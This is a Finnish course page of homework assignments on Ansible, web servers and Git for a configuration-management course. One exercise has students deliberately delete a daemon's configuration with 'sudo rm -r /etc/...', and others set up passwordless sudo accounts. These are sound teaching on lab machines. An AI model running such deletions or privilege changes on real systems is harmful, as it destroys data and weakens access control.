&lt;img src=&quot;https://terokarvinen.com/palvelinten-hallinta/sudo-logo.w800.h64430d4b.png&quot; srcset=&quot;https://terokarvinen.com/palvelinten-hallinta/sudo-logo.w800.h64430d4b.png 800w, https://terokarvinen.com/palvelinten-hallinta/sudo-logo.w1370.h64430d4b.png 1370w&quot; sizes=&quot;(max-width: 179px) 100vw, 179px&quot; width=&quot;800&quot; height=&quot;893&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;ul&gt;
&lt;li&gt;x) Lue ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Ei siis vaadita pitkää eikä essee-muotoista tiivistelmää. Lisää kuhunkin jokin oma kysymys tai huomio.)
&lt;ul&gt;
&lt;li&gt;Karvinen 2026: &lt;a href=&quot;https://terokarvinen.com/passwordless-sudo/&quot;&gt;Sudo without password&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Munroe 2006: &lt;a href=&quot;https://xkcd.com/149/&quot;&gt;xkcd 149: Sandwitch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Karvinen 2026: &lt;a href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/&quot;&gt;Passwordless Sudo with Ansible &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ansiblen sisäänrakennettu dokumentaatio ansible-doc -kommennolla.
&lt;ul&gt;
&lt;li&gt;Kustakin vain
&lt;ul&gt;
&lt;li&gt;Johdantokappale (Usein MODULE alla, päättyy OPTIONS alkuun)&lt;/li&gt;
&lt;li&gt;Nimetyt optiot selityksineen&lt;/li&gt;
&lt;li&gt;Esimerkeistä (EXAMPLES) jokin helppo ja keskeinen esimerkki&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc copy&#39;: content, dest, src; owner, group, mode;&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc apt&#39;: name, state, update_cache.&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc file&#39;: path, recurse, src, state. owner, group, mode;&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc user&#39;: name; create_home, comment, groups, shell, state, system.&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc authorized_key&#39;: user, key.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Sudoless. Tee ansiblea varten tunnus, jolla voi käyttää sudoa ilman salasanaa. Sekä ssh-kirjautuminen että sudon käyttö tulee olla ansbilea varten automatisoitu.&lt;/li&gt;
&lt;li&gt;b) Antero. Tee salasanaton, automaattisesti ssh:lla kirjautuva tunnus Ansiblella.&lt;/li&gt;
&lt;li&gt;c) Package. Asenna kaksi pakettia ansiblella.&lt;/li&gt;
&lt;li&gt;d) File. Kirjoita orjalle useamman rivin mittainen tiedosto Ansiblella. Määrittele sen omistaja, omistava ryhmä ja oikeudet. Käytä oikeuksille oktaalinumeroa, esim. &quot;0600&quot;. Kerro, mitä oikeudet ovat symbolisessa muodossa, esim. &quot;-rwxr--r--&quot;. Selitä, mitä kukin käyttäjä saa tehdä tuolle tiedostolle.&lt;/li&gt;
&lt;li&gt;e) Jotain muuta. Näytä esimerkki ansiblen käskystä, jota ei ole vielä käsitelty kurssilla tai kotitehtävissä. Voit ottaa jonkun muun modulin kuin apt, file, copy, user tai authorized_key. Tai voit käyttää ominaisuutta, jota ei vielä ole demonstroitu. Jos tiivistystehtävässä x on mainittu ominaisuuksia, joita ei tunneilla tai läksyissä kokeiltu, nekin kelpaavat.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Rakenna tila paloittain. Tottakai se toimii kopioimalla malli ja muuttamalla muutama muuttuja. Mutta hetken päästä näitä pitäisi rakentaa myös ilman mallia.&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc user&#39;, &#39;ansible-doc --list&#39;&lt;/li&gt;
&lt;li&gt;Etkö jaksa odottaa?
&lt;ul&gt;
&lt;li&gt;&#39;ansible-doc --list &amp;gt; doc-list.txt&#39;&lt;/li&gt;
&lt;li&gt;helppolukuisempana &#39;ansible-doc --list|grep -oP &#39;^\S+&#39;&amp;gt;doc-list.txt&#39;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Paketin asennus: apt&lt;/li&gt;
&lt;li&gt;File:
&lt;ul&gt;
&lt;li&gt;copy: src: foo.txt -&amp;gt; roles/superd/files/foo.txt&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h3-demoni&quot;&gt;h3 Demoni &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#h3-demoni&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;figure class=&quot;right&quot; style=&quot;max-width: 154px&quot;&gt;
&lt;a href=&quot;https://terokarvinen.com/palvelinten-hallinta/apache-httpd-logo.w737.h0486b2b3.png&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/palvelinten-hallinta/apache-httpd-logo.w480.h0486b2b3.avif 480w, https://terokarvinen.com/palvelinten-hallinta/apache-httpd-logo.w737.h0486b2b3.avif 737w&quot; sizes=&quot;(max-width: 154px) 100vw, 154px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/palvelinten-hallinta/apache-httpd-logo.w737.h0486b2b3.png&quot; srcset=&quot;https://terokarvinen.com/palvelinten-hallinta/apache-httpd-logo.w737.h0486b2b3.png 737w&quot; sizes=&quot;(max-width: 154px) 100vw, 154px&quot; width=&quot;737&quot; height=&quot;1432&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;&lt;em&gt;Package, file, service&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Ei siis vaadita pitkää eikä essee-muotoista tiivistelmää. Lisää kuhunkin jokin oma kysymys tai huomio.)
&lt;ul&gt;
&lt;li&gt;Karvinen 2026: &lt;a href=&quot;https://terokarvinen.com/apache-ansible/&quot;&gt;Apache installed with Ansible - quick notes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ansible Community Documentation: &lt;a href=&quot;https://docs.ansible.com/projects/ansible/latest/playbook_guide/playbooks_handlers.html&quot;&gt;Handlers: running operations on change&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;Handlers: running operations on change (johdantokappale pääotsikon alta)&lt;/li&gt;
&lt;li&gt;Notifying handlers&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc service&#39;:
&lt;ul&gt;
&lt;li&gt;johdantokappale (MODULE alta)&lt;/li&gt;
&lt;li&gt;enabled&lt;/li&gt;
&lt;li&gt;name&lt;/li&gt;
&lt;li&gt;state&lt;/li&gt;
&lt;li&gt;EXAMPLES&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Apassi. Asenna Apache 2 käsin. Weppisivun tulee näkyä palvelimen etusivulla. Sivun tulee olla tavallisen käyttäjän muokattavissa, ilman root- tai sudo-oikeuksia.&lt;/li&gt;
&lt;li&gt;b) Moottorix. Asenna Nginx käsin. Weppisivun tulee näkyä palvelimen etusivulla. Sivun tulee olla tavallisen käyttäjän muokattavissa, ilman root- tai sudo-oikeuksia. (Muista sammuttaa Apache ensin.)&lt;/li&gt;
&lt;li&gt;c) Automoottorix. Automatisoi Nginx asennus Ansiblella. Ylläpitäjän osuus Ansiblella riittää, itse HTML-weppisivut voi tehdä käsin.&lt;/li&gt;
&lt;li&gt;d) Vapaaehtoinen bonus: Osiris-T. Osiris-T asentaa Wazuhin ja tarvittavat virtuaalikoneet. Voit lähettää vihamielistä verkkoliikennettä (tcpreplay), siepata sen (suricata) ja saat tulokset suoraan dashboardille (wazuh). Enemmän alpha kuin se kreikkalainen kirjain. Mutta Oskari, Nico ja Arttu ilahtuvat, jos kokeilet. Häkämies, Saario, Mukkula 2026: &lt;a href=&quot;https://github.com/oskarihakamies/IDS-project&quot;&gt;Osiris-T&lt;/a&gt;. Häkämies etal 2026: &lt;a href=&quot;https://github.com/oskarihakamies/IDS-project/blob/main/How-To-Install.md&quot;&gt;How to Install&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Vinkit&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ensin käsin, sitten automaattisesti&lt;/li&gt;
&lt;li&gt;Pienen testattava kokonaisuus kerrallaan&lt;/li&gt;
&lt;li&gt;Lue lokeja. Weppipalvelimen virheilmoitukset ovat lokeissa, käyttäjälle näkyvä weppisivu ei kerro juuri mitään.&lt;/li&gt;
&lt;li&gt;Kaksi demonia ei voi kuunnella samaa porttia. Sulje siis nginx ennen apachen asennusta ja päinvastoin.&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc apt&#39;: name, state, update_cache. EXAMPLES.&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc copy&#39;: dest, src; owner, group, mode. EXAMPLES.&lt;/li&gt;
&lt;li&gt;&#39;ansible-doc file&#39;: src, dest, state. owner, group. EXAMPLES.&lt;/li&gt;
&lt;li&gt;nginx asennus on samantapainen kuin Apachen
&lt;ul&gt;
&lt;li&gt;sites-available/default - tiedoston lopussa on esimerkki yksinkertaisesta konfiguraatiosta&lt;/li&gt;
&lt;li&gt;&#39;sudo nginx -t&#39; on samantapainen kuin &#39;sudo apache2ctl configtest&#39;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Kotisivut käyttäjänä
&lt;ul&gt;
&lt;li&gt;Weppipalvelin pyörinee käyttäjänä www-data, ryhmä www-data. Jos tiedoston omistaa tero:tero, niin www-data on others eli viimeiset kolme kirjainta.&lt;/li&gt;
&lt;li&gt;Jotta se näkee sivut, kansioihin pitää olla x-oikeus ja tiedostoihin r.&lt;/li&gt;
&lt;li&gt;/home/tero/publicsite/index.html
&lt;ul&gt;
&lt;li&gt;chmod ugo+x /home/tero/&lt;/li&gt;
&lt;li&gt;chmod ugo+x /home/tero/publicsite/&lt;/li&gt;
&lt;li&gt;chmod ugo+r /home/tero/publicsite/index.html&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Tarkista oikeudet &#39;ls -t&#39; ja &#39;stat&#39;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h4-pizza-fantasia&quot;&gt;h4 Pizza Fantasia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#h4-pizza-fantasia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Ei siis vaadita pitkää eikä essee-muotoista tiivistelmää. Lisää kuhunkin jokin oma kysymys tai huomio.)
&lt;ul&gt;
&lt;li&gt;Karvinen 2023: &lt;a href=&quot;https://westminsterresearch.westminster.ac.uk/item/w7vvz/configuration-management-of-distributed-systems-over-unreliable-and-hostile-networks&quot;&gt;Configuration Management of Distributed Systems over Unreliable and Hostile Networks&lt;/a&gt; (&lt;a href=&quot;https://westminsterresearch.westminster.ac.uk/download/4cc417566aa9af60fe3826d690719e390abdb7a3c8672f3d51b1eb4ca75e7624/1427236/karvinen-2023-configuration-management-of-distributed-systems.pdf&quot;&gt;pdf&lt;/a&gt;, ̣mirrors: &lt;a href=&quot;https://terokarvinen.com/palvelinten-hallinta/Karvinen-2023-Configuration-Management-of-Distributed-Systems-over-Unreliable-and-Hostile-Networks.pdf&quot;&gt;local&lt;/a&gt;, &lt;a href=&quot;https://scholar.archive.org/work/3vyjt2wj2ndp5egy72xkudeeey/access/wayback/https%3A%2F%2Fwestminsterresearch.westminster.ac.uk%2Fdownload%2F4cc417566aa9af60fe3826d690719e390abdb7a3c8672f3d51b1eb4ca75e7624%2F1427236%2Fkarvinen-2023-configuration-management-of-distributed-systems.pdf&quot;&gt;archive.org&lt;/a&gt;), vain nämä kohdat:
&lt;ul&gt;
&lt;li&gt;4.12.1 Size and Complexity of Some DSLs (112. Ominaisuuksien määrä.)&lt;/li&gt;
&lt;li&gt;4.12.2 Use of DSL Functions in Case Configuration (112-115. Mitä oikeasti käytetään.)&lt;/li&gt;
&lt;li&gt;4.12.3.1 Dependencies Between Main Functions (115-117. Tärkeimmät rakennuspalikat.)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Räpylä. Asenna itse valitsemasi demoni käsin. Jokin muu kuin tunnilla tai kotitehtävissä aiemmin asennettu, eli ei apache, ngninx eikä openssh-server. Kuten aina, testaa lopputulos.&lt;/li&gt;
&lt;li&gt;b) Automaatti. Automatisoi valitsemasi demonin asennus Ansiblella.&lt;/li&gt;
&lt;li&gt;c) Asetus. Muuta asetustiedostoa herralla (master, &quot;control node&quot;) ja aja ansible uudestaan. Osoita, että asetukset tulivat käyttöön.&lt;/li&gt;
&lt;li&gt;d) Paikka remonttiin. Riko jotain asetuksia. Voit esimerkiksi poistaa demonin &#39;sudo apt-get purge foobar&#39; (purge poistaa myös asetustiedostoja), poistaa asennuksen yhteydessä tulevan kansion (sudo rm -r /etc/foobar/ # vaarallista) tms. Ja sitten ajaa ansible-roolisi uudestaan ja todeta, että se korjaa tilanteen.&lt;/li&gt;
&lt;li&gt;e) Idempotentti. Osoita, että tilasi on idempotentti.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CM: configuration management&lt;/li&gt;
&lt;li&gt;DSL: domain specific language. Yhteen käyttötarkoitukseen tehty kieli. Esim Ansiblen oma kieli, jolla määrittelemme konfiguraatiota.&lt;/li&gt;
&lt;li&gt;Kannattaa valita demoni, joka löytyy suoraan Debian 13 varastoista apt-get:lla.&lt;/li&gt;
&lt;li&gt;Esimerkkejä: postgresql, caddy, mariadb, haproxy, varnish&lt;/li&gt;
&lt;li&gt;Nämä voivat olla mutkikkaampia: samba, nfs, jokin ftp-palvelin, jokin vaihtoehtoinen ssh, jokin dhcpd, jokin tftpd&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h5-gitar-hero&quot;&gt;h5 Gitar Hero &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#h5-gitar-hero&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Oman miniprojektin aihetta kannattaa jo haudutella. Ensimmäiset julkaissevat jo parin kanssa tehdyn ensimmäisen version.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Kannattaa lisätä mukaan myös jokin oma havainto, idea tai kysymys.)
&lt;ul&gt;
&lt;li&gt;Chacon and Straub 2014: &lt;a href=&quot;https://git-scm.com/book/en/v2&quot;&gt;Pro Git, 2ed&lt;/a&gt;: &lt;a href=&quot;https://git-scm.com/book/en/v2/Getting-Started-What-is-Git%3F&quot;&gt;1.3 Getting Started - What is Git?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Gitin käyttö on lähinnä &#39;git add --all &amp;amp;&amp;amp; git commit; git pull &amp;amp;&amp;amp; git push&#39;. Selitä tuon komennon jokainen osa. Käytä apuna itse valitsemiasi lähteitä ja viittaa niihin.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Online. Tee uusi varasto GitHubiin (tai Gitlabiin tai mihin vain vastaavaan palveluun). Varaston nimessä ja lyhyessä kuvauksessa tulee olla sana &quot;sunshine&quot;. Aiemmin tehty varasto ei kelpaa. (Muista tehdä varastoon tiedostoja luomisvaiheessa, esim README.md ja GNU General Public License 3) Edistyneemmille voi olla hauskaa etsiä ja kokeilla jokin muu palvelu kuin Github.&lt;/li&gt;
&lt;li&gt;b) Dolly. Kloonaa edellisessä kohdassa tehty uusi varasto itsellesi, tee muutoksia omalla koneella, puske ne palvelimelle, ja näytä, että ne ilmestyvät weppiliittymään.&lt;/li&gt;
&lt;li&gt;c) Doh! Tee tyhmä muutos gittiin, älä tee commit:tia. Tuhoa huonot muutokset ‘git reset --hard’. Huomaa, että tässä toiminnossa ei ole peruutusnappia.&lt;/li&gt;
&lt;li&gt;d) Tukki. Tarkastele ja selitä varastosi lokia. Näytä myös, mitä muutoksia tiedostoihin on tehty. Tarkista, että nimesi ja sähköpostiosoitteesi näkyy haluamallasi tavalla ja korjaa tarvittaessa.&lt;/li&gt;
&lt;li&gt;e) Gitanbile. Laita Ansible-kansio versionhallintaan. Tee jokin muutos, aja ansiblella, tallenna versio (commit).&lt;/li&gt;
&lt;li&gt;f) Hae pari projektiin Moodlen keskustelusta. (Tästä alakohdasta f ei tarvitse tehdä vaiheittaista teknistä raporttia, riittää kun toteat, että pari on hankittu.)&lt;/li&gt;
&lt;li&gt;g) Vapaaehtoinen: Se toinen järjestelmä: kokeile Gittiä eri käyttöjärjestelmällä kuin sillä, millä teit muut harjoitukset. Selitä niin, että kyseistä järjestelmää osaamatonkin onnistuu. Mahdollisuuksia on runsaasti: Debian, Fedora, Windows, OSX...&lt;/li&gt;
&lt;li&gt;h) Vapaaehtoinen: yhteistyötä: anna kaverillesi (tai alter egollesi) oikeus kirjoittaa varastoosi (commit access). Tehkää molemmat muutoksia varastoon gitillä.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkkejä&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kannattaa käyttää SSH-osoitetta varastoa kloonatessa, kirjautuminen julkisella ssh-avaimella&lt;/li&gt;
&lt;li&gt;ssh-keygen (enter, enter, enter), cat $HOME/.ssh/id*.pub, Github: Settings: SSH keys... Vain julkisen avaimen - sen mikä päättyy .pub - saa julkaista ja tallettaa Githubiin.&lt;/li&gt;
&lt;li&gt;Github-varaston sivulta Code: SSH. git clone https://github.com/hattupuu/earplotter.git ; cd earplotter&lt;/li&gt;
&lt;li&gt;git pull&lt;/li&gt;
&lt;li&gt;git add --all &amp;amp;&amp;amp; git commit; git pull &amp;amp;&amp;amp; git push&lt;/li&gt;
&lt;li&gt;git log --patch&lt;/li&gt;
&lt;li&gt;git config --global user.email &quot;tonystudent@example.com&quot;&lt;/li&gt;
&lt;li&gt;git config --global user.name &quot;Tony Student&quot;&lt;/li&gt;
&lt;li&gt;Commit message
&lt;ul&gt;
&lt;li&gt;Miksi? Miksi tämä commit on tehty? (Ne tiedostot ja muutokset näkyvät joka tapauksessa &#39;git log --patch&#39;, joten commit messagen kannattaa kertoa se syy: miksi, why?&lt;/li&gt;
&lt;li&gt;Yksi englanninkielinen virke määräysmuodossa ja nykyajassa: &quot;Add reverse thurst estimation to main view&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;GitHub-varastoon kannattaa tehdä tiedostoja luomisvaiheessa, suosittelen tekemään README.md ja vapaista lisensseistä itse tykkään GPLv3 eli GNU General Public License, version 3. Oman työsi lisenssin saat itse valita.&lt;/li&gt;
&lt;li&gt;Karvinen 2021: &lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;Install Debian on VirtualBox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Microsoft 2023: &lt;a href=&quot;https://developer.microsoft.com/en-us/windows/downloads/virtual-machines/&quot;&gt;Get a Windows 11 development environment&lt;/a&gt;: Download a virtual machine: &lt;a href=&quot;https://aka.ms/windev_VM_virtualbox&quot;&gt;VirtualBox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Jos menet olemassaolevaan projektiin (työpaikalla, open source)... opiskele projektin käytännöt ja käytä niitä&lt;/li&gt;
&lt;li&gt;https://github.com/terokarvinen/suolax Salt-tiloja, jotka voi ajaa suoraan salt-varastosta&lt;/li&gt;
&lt;li&gt;Git asennuspaketit Windowsille ja Macille https://git-scm.com/downloads&lt;/li&gt;
&lt;li&gt;Macilla &#39;brew&#39; saattaa olla myös kätevä työkalu Gitin asentamiseen&lt;/li&gt;
&lt;li&gt;Linuxille Git asentuu helpoimmin paketinhallinnasta: &#39;sudo apt-get update; sudo apt-get -y install git&#39;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h6-miniprojekti&quot;&gt;h6 Miniprojekti &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#h6-miniprojekti&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Loppuhuipennus: projektit esitellään kurssin lopussa. Saat soveltaa uusia taitojasi!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Pääset harjoittelemaan teknistä esittämistä huolettomassa ympäristössä omien luokkakavereiden kanssa. Saat myös esittää kysymyksiä, ideoita ja kommentteja kavereiden töihin. Ja samalla näet, mitä muut ovat rakentaneet.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Arvon esitysjärjestyksen ja ilmoitan sen esitysten alussa. Kaikkien projektien tulee olla esitysvalmiina 2026-05-05 w19 tiistaina (ja torstain ryhmällä päivää myöhemmin ke).&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a) Oma miniprojekti.
&lt;ul&gt;
&lt;li&gt;Modernia keskitettyä hallintaa: idempotentti, infra koodina, yksi totuus&lt;/li&gt;
&lt;li&gt;Idempotentti
&lt;ul&gt;
&lt;li&gt;Pelkkä skritpi (shell script) ei kelpaa, ei myöskään skripti jaettuna kymmeneen peräkkäiseen cmd.run-tilaan&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Kannattaa testata lopputulos tyhjällä koneella
&lt;ul&gt;
&lt;li&gt;Vapaaehtoista: Jos videoit ruudulta samalla, sinulla on räjähtävien demojen tai tulevien kurssin ulkopuolisten esitysten varalta aina toimiva esitys. Jos laitat videon Youtubeen tai kotisivullesi, sinulla on valmis esitys käytettäväksi myös kurssin jälkeen. Vaikka live-demo on parempi kuin video, parasta on live-demo ja varalla video.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Ensin valmista, sitten hienoa.
&lt;ul&gt;
&lt;li&gt;Tee ensin pieni, toimiva kokonaisuus, jonka voisit hätätilassa esittää.&lt;/li&gt;
&lt;li&gt;Tallenna pieni kokonaisuutesi toimivana esim. kopioimalla kansio&lt;/li&gt;
&lt;li&gt;Tee sitten tämän toimivan päälle hienot jutut, seuraavat vaiheet ja kurottelumaalit.&lt;/li&gt;
&lt;li&gt;Kannattaa aloittaa ajoissa ja tehdä joka päivä&lt;/li&gt;
&lt;li&gt;Kaikki tai &lt;del&gt;ei mitään&lt;/del&gt; jotain&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;b) Etusivu. Laita projektisi etusivulle tärkeimmät tiedot
&lt;ul&gt;
&lt;li&gt;Etusivu voi olla esimerkiksi Github-varasto ja tiedot README.md:ssä&lt;/li&gt;
&lt;li&gt;Yritä laittaa keskeisimmät kohdat &quot;taitoksen yläpuolelle&quot;, eli näkymään jo ennen skrollausta&lt;/li&gt;
&lt;li&gt;Tavoitteena on, että lukija ymmärtää välittömästi ja yhdellä silmäyksellä projektin tarkoituksen (ruutukaappaus + kuvaus)&lt;/li&gt;
&lt;li&gt;Tiedot
&lt;ul&gt;
&lt;li&gt;Projektin tarkoitus, mieluiten yhdellä lyhyellä virkkeellä. Eli mitä tämä tekee / mihin tätä käytetään / mitä hyötyä tästä on / business purpose.&lt;/li&gt;
&lt;li&gt;Lisenssi. Saat valita, suosittelen GNU General Public License, version 3.&lt;/li&gt;
&lt;li&gt;Ruutukaappaus lopputuloksesta&lt;/li&gt;
&lt;li&gt;Oma nimesi ja mahdollinen kotisivun osoite (Saa toki käyttää myös nimimerkkiä)&lt;/li&gt;
&lt;li&gt;Latauslinkki (Githubissa asennusohje voi toki olla myös &#39;git clone ...&#39;)&lt;/li&gt;
&lt;li&gt;Käyttöönotto. Miten kuka tahansa sivulle tulija voi ilman muita ohjeita ajaa projektisi.&lt;/li&gt;
&lt;li&gt;Voit kirjoittaa suomeksi tai englanniksi; usein ohjelmat dokumentoidaan englanniksi&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;c) Showtime! Valmistaudu pitämään max 7 min esitys projektistasi.
&lt;ul&gt;
&lt;li&gt;Yleisö: kurssin muut opiskelijat
&lt;ul&gt;
&lt;li&gt;Kuulija yleensä miettii aluksi, mitä hyötyä tähän esitykseen keskittymisestä on minulle.&lt;/li&gt;
&lt;li&gt;Ymmärtääkö kuulija, mitä lopputulos tekee?&lt;/li&gt;
&lt;li&gt;Kun hyöty on selvillä, kuulija halunnee oppia tekemään saman&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Tarkoitus ja lopputulos ensin
&lt;ul&gt;
&lt;li&gt;Hovimestari on syyllinen.&lt;/li&gt;
&lt;li&gt;Yleisö kuuntelee, kun tietää, mitä hyötyä tästä on&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Esittele itsesi
&lt;ul&gt;
&lt;li&gt;Monissa esityksessi oman nimen ja organisaation esittely on tärkein oma hyöty&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Demo ois kiva
&lt;ul&gt;
&lt;li&gt;Kannattaa laittaa demo pyörimään heti, kun projektin tarkoitus ja oma nimi on selvillä&lt;/li&gt;
&lt;li&gt;Salt-ajot vievät usein aikaa, jota ei kannata käyttää odotteluun vaan puhumiseen&lt;/li&gt;
&lt;li&gt;Kerro kaikki kerrottava sillä aikaa kun salt raksuttaa&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Kokeile välineet
&lt;ul&gt;
&lt;li&gt;Jitsi-kanavalle pääsee milloin vain&lt;/li&gt;
&lt;li&gt;Ruudunjako, kamera, mikki&lt;/li&gt;
&lt;li&gt;Jos haluat kaksi asiakasta, niin 2 tietokonetta tai tietokone ja kännykkä&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Tästä c-alakohdasta ei tarvitse tehdä raporttia.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Katso vanhoja projekteja
&lt;ul&gt;
&lt;li&gt;Kurssisivujen kommenteista&lt;/li&gt;
&lt;li&gt;Hakukoneista&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tervetuloa esiintymään!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Huomaa myös vapaaehtoinen h8.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;h8-bonus&quot;&gt;h8 Bonus &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#h8-bonus&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Vapaaehtoinen bonus: luettele ja linkitä tähän tekemäsi&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a) Vapaaehtoiset tehtävät&lt;/li&gt;
&lt;li&gt;b) Ristiinarvioinnin jälkeen olennaisesti parannetut tehtävät&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tehtävän h8 määräaika on kurssin 24 h ennen viimeisen oppitunnin alkuao. Tämä bonustehtävä on kokonaan vapaaehtoinen.&lt;/p&gt;
